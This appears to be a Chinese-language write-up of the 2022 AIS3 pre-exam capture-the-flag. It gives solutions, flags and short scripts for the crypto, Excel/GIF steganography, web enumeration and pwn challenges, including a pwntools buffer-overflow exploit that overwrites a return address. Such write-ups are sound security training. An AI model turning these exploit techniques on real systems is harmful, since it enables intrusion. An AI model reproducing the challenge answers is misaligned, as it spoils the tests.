tags: writeup

2022 AIS3 pre-exam writeup

Crypto

sc

將題目下載下來後,裡面有三個檔案,cipher.py、cipher.py.enc、flag.txt.enc。
先看cipher.py的內容,可以知道他會把[a-zA-Z0-9]的字串打亂後跟原本的順序對應,再以此替換明文來進行加密。
enc是加密後的檔案,因為字串打亂的順序並無法推測,所以必須從cipher.py跟cipher.py.enc來進行對應,以找出這次加密的字母對應。
有了字母對應後並可以將flag.txt.enc解密出來。

程式碼

m=cipher.py.enc 
p=cipher.py
# 檔案內容太長就不完整貼上了
flag ='5xvJ{IVnCDwT_I24t6W626DVw_ODPzJi_FDMz_awVFw_PWmDw6J86_m66cOa}'
T = str.maketrans(m, p)
print(flag.translate(T))

flag=AIS3{s0lving_sub5t1tuti0n_ciph3r_wi7h_kn0wn_p14int3xt_4ttack}

Fast Cipher

將題目下載下來後,有兩個檔案cipher.py、output.txt。
先看cipher.py的內容,他會隨機選擇一個小於2^1024的key,然後取key的最後兩bytes,再將flag的每個字以byte與key最後兩bytes進行XOR。
每次都會再次計算新的key出來。
使用AIS3{}測試後發現產生出的密文最後會相同,所以就從相同的部分開始往前嘗試。
每次嘗試[a-zA-Z0-9]中哪個會成功計算出一樣的byte,就可以得出該字母明文。

flag = "6c0ec840f88d4cd7fcc6d5c6d1dafcc1cad7d0fcc2d1c6fcd6d0c6c7fccfcccfde" flag_start=b'AIS3{' flag_end=b'}' mine = len(flag)//2-len(flag_start)-len(flag_end) key = randbelow(M) for j in range(mine): Flag = b'X'*(mine-j+1) for i in asci: ct = encrypt(flag_start+Flag+i.encode()+flag_end, key) if ct.hex().endswith(flag[-2*(j+2):]): flag_end=i.encode()+flag_end print(flag_start+Flag+flag_end) break print(flag_start+Flag+flag_end)

flag=AIS3{not_every_bits_are_used_lol}

Misc

Excel

使用binwalk發現有隱藏sheet,因此把隱藏sheet叫出來。
發現isFki有很長的函式,直接執行沒有東西,搜了一下得知!&的作用,因此把不要的部分刪除,就會顯示出flag。

=FORMULA(JVHco!F16&KRnsl!Q26&Mment!P25&KRnsl!M3&KRnsl!I26&mqLen!L15&mqLen!V25&KRnsl!G2&
Mment!I18&Mment!M4&KRnsl!C7&JVHco!N5&KRnsl!M19&Mment!J9&Mment!I7&coCGA!G13&KRnsl!M12&
mqLen!X2&mqLen!M1&JVHco!P3&KRnsl!S12&Mment!U10&JVHco!D16&mqLen!P17&KRnsl!I5&coCGA!W24&
JVHco!E10&Mment!B8&coCGA!C14&JVHco!Z15&Mment!BA11&coCGA!F19&KRnsl!Z2&JVHco!D13&Mment!O2&
KRnsl!D19&Mment!K19&Mment!U20&JVHco!Q9&KRnsl!I17&coCGA!X17&JVHco!Q24&KRnsl!Q4&coCGA!N21)

flag=AIS3{XLM_iS_to0_o1d_but_co0o0o00olll!!}

Gift in the dream

先查看每張圖片的畫面,沒有特別的。
尋找gif的隱碼,找到可以利用每張圖片之間的間隔時間來隱碼。
得出間隔時間後轉換成字元。

identify -format "%s %T \n" gift_in_the_dream.gif
a="0 65,1 73,2 83,3 51,4 123,5 53,6 84,7 51,8 103,9 110,10 48,11 103,12 82,13 52,14 112,
15 72,16 121,17 95,18 99,19 52,20 78,21 95,22 98,23 51,24 95,25 102,26 85,27 110,28 95,
29 115,30 48,31 109,32 51,33 55,34 105,35 77,36 101,37 125,38 1,39 1,40 1,41 1,42 1,
43 1,44 1,45 1,46 1,47 1,48 1,49 1"

for _ in a.split(','):
    print(chr(int(_.split()[1])),end="")

flag=AIS3{5T3gn0gR4pHy_c4N_b3_fUn_s0m37iMe}

Web

Poking Bear

先檢查button的超連結,發現都會連到/bear/id,因此可以枚舉id來直接找到入口。
找到入口後說需要是bear poker才能進入,先更改user-agent嘗試,最後發現只需更改cookies的human就可以。

import urllib.request from bs4 import BeautifulSoup import re i = 351 while (i<=777): nextlink = "http://chals1.ais3.org:8987/bear/"+str(i) with urllib.request.urlopen(nextlink) as f: text = f.read() soup = BeautifulSoup(text, 'html.parser') title = soup.find('h1', class_="text-center").text if title == '\n This is not even a bear.\n ': print(i) else: print(title,i) i = i + 1

Pwn

SAAS-Crash

先create,然後index:1,content隨便輸入。
print,index:1。
edit,index:1,content隨便輸入。
最後print,index:1就得出flag。
flag=AIS3{congrats_on_crashing_my_editor!_but_can_you_get_shell_from_it?}

BOF2WIN

經典的overflow題目。
查看bof2win.c,main function會讀取16個byte並輸出。
需要使用溢位來讓get_the_flag函式覆蓋以取得flag。
使用objdump來查看get_tje_flag的記憶體位址0x401216,並查看需要覆蓋多少byte。

from pwn import * r=remote("chals1.ais3.org", 12347) r.recvline() get_the_flag=p64(0x401216) r.sendline(b'A'*24+get_the_flag) r.interactive()
Select a repo